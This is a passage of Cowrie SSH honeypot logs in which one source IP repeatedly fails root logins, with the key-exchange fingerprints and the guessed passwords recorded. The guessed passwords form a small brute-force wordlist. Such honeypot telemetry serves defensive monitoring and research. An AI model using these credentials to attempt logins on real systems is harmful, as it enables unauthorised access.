ert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:44:09.815498Z","src_ip":"60.165.124.241","session":"730dae6116d2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123456a?","message":"login attempt [root/123456a?] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:44:10.538939Z","src_ip":"60.165.124.241","session":"730dae6116d2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:44:11.781666Z","src_ip":"60.165.124.241","session":"730dae6116d2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":37450,"dst_ip":"10.17.0.5","dst_port":22,"session":"ef8fdbb01108","protocol":"ssh","message":"New connection: 60.165.124.241:37450 (10.17.0.5:22) [session: ef8fdbb01108]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:44:12.027113Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:44:12.031897Z","src_ip":"60.165.124.241","session":"ef8fdbb01108","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:44:12.985305Z","src_ip":"60.165.124.241","session":"ef8fdbb01108","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Zz112233","message":"login attempt [root/Zz112233] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:44:13.725500Z","src_ip":"60.165.124.241","session":"ef8fdbb01108","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.9","message":"Connection lost after 2.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:44:14.973664Z","src_ip":"60.165.124.241","session":"ef8fdbb01108","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":41358,"dst_ip":"10.17.0.5","dst_port":22,"session":"f12adf88fbe1","protocol":"ssh","message":"New connection: 60.165.124.241:41358 (10.17.0.5:22) [session: f12adf88fbe1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:44:15.212426Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:44:15.217496Z","src_ip":"60.165.124.241","session":"f12adf88fbe1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:44:15.468930Z","src_ip":"60.165.124.241","session":"f12adf88fbe1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1QAZ1qaz","message":"login attempt [root/1QAZ1qaz] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:44:16.199466Z","src_ip":"60.165.124.241","session":"f12adf88fbe1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:44:17.450796Z","src_ip":"60.165.124.241","session":"f12adf88fbe1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":44014,"dst_ip":"10.17.0.5","dst_port":22,"session":"7051c08b72de","protocol":"ssh","message":"New connection: 60.165.124.241:44014 (10.17.0.5:22) [session: 7051c08b72de]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:44:17.687624Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:44:17.692481Z","src_ip":"60.165.124.241","session":"7051c08b72de","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:44:17.939093Z","src_ip":"60.165.124.241","session":"7051c08b72de","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Secure@123","message":"login attempt [root/Secure@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:44:18.678235Z","src_ip":"60.165.124.241","session":"7051c08b72de","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:44:19.936469Z","src_ip":"60.165.124.241","session":"7051c08b72de","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":47178,"dst_ip":"10.17.0.5","dst_port":22,"session":"b6466e4946d0","protocol":"ssh","message":"New connection: 60.165.124.241:47178 (10.17.0.5:22) [session: b6466e4946d0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:44:20.169305Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:44:20.174209Z","src_ip":"60.165.124.241","session":"b6466e4946d0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:44:20.413950Z","src_ip":"60.165.124.241","session":"b6466e4946d0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Hxps@816*!^","message":"login attempt [root/Hxps@816*!^] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:44:21.161509Z","src_ip":"60.165.124.241","session":"b6466e4946d0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:44:22.401336Z","src_ip":"60.165.124.241","session":"b6466e4946d0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":49922,"dst_ip":"10.17.0.5","dst_port":22,"session":"5bfa03a30b0b","protocol":"ssh","message":"New connection: 60.165.124.241:49922 (10.17.0.5:22) [session: 5bfa03a30b0b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:44:22.637408Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:44:22.641772Z","src_ip":"60.165.124.241","session":"5bfa03a30b0b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:44:22.879805Z","src_ip":"60.165.124.241","session":"5bfa03a30b0b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"linaro","message":"login attempt [root/linaro] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:44:23.603207Z","src_ip":"60.165.124.241","session":"5bfa03a30b0b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:44:24.863602Z","src_ip":"60.165.124.241","session":"5bfa03a30b0b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":52738,"dst_ip":"10.17.0.5","dst_port":22,"session":"9b5b40bbd46c","protocol":"ssh","message":"New connection: 60.165.124.241:52738 (10.17.0.5:22) [session: 9b5b40bbd46c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:44:25.098467Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:44:25.104124Z","src_ip":"60.165.124.241","session":"9b5b40bbd46c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:44:25.345227Z","src_ip":"60.165.124.241","session":"9b5b40bbd46c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123456@Abcdef","message":"login attempt [root/123456@Abcdef] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:44:26.086987Z","src_ip":"60.165.124.241","session":"9b5b40bbd46c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:44:27.341484Z","src_ip":"60.165.124.241","session":"9b5b40bbd46c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":55728,"dst_ip":"10.17.0.5","dst_port":22,"session":"332c25e8b83e","protocol":"ssh","message":"New connection: 60.165.124.241:55728 (10.17.0.5:22) [session: 332c25e8b83e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:44:27.586959Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:44:27.591105Z","src_ip":"60.165.124.241","session":"332c25e8b83e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:44:27.831266Z","src_ip":"60.165.124.241","session":"332c25e8b83e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Password0!","message":"login attempt [root/Password0!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:44:28.577999Z","src_ip":"60.165.124.241","session":"332c25e8b83e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:44:29.836215Z","src_ip":"60.165.124.241","session":"332c25e8b83e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":58582,"dst_ip":"10.17.0.5","dst_port":22,"session":"16b4cd1e4ba7","protocol":"ssh","message":"New connection: 60.165.124.241:58582 (10.17.0.5:22) [session: 16b4cd1e4ba7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:44:30.080812Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:44:30.086613Z","src_ip":"60.165.124.241","session":"16b4cd1e4ba7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:44:30.338710Z","src_ip":"60.165.124.241","session":"16b4cd1e4ba7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Kv123456","message":"login attempt [root/Kv123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:44:31.074428Z","src_ip":"60.165.124.241","session":"16b4cd1e4ba7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":35428,"dst_ip":"159.203.135.109","dst_port":22,"session":"60d2e3f1ff20","protocol":"ssh","message":"New connection: 2.57.122.208:35428 (159.203.135.109:22) [session: 60d2e3f1ff20]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:44:32.089537Z"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:44:32.324636Z","src_ip":"60.165.124.241","session":"16b4cd1e4ba7","protocol":"ssh"}
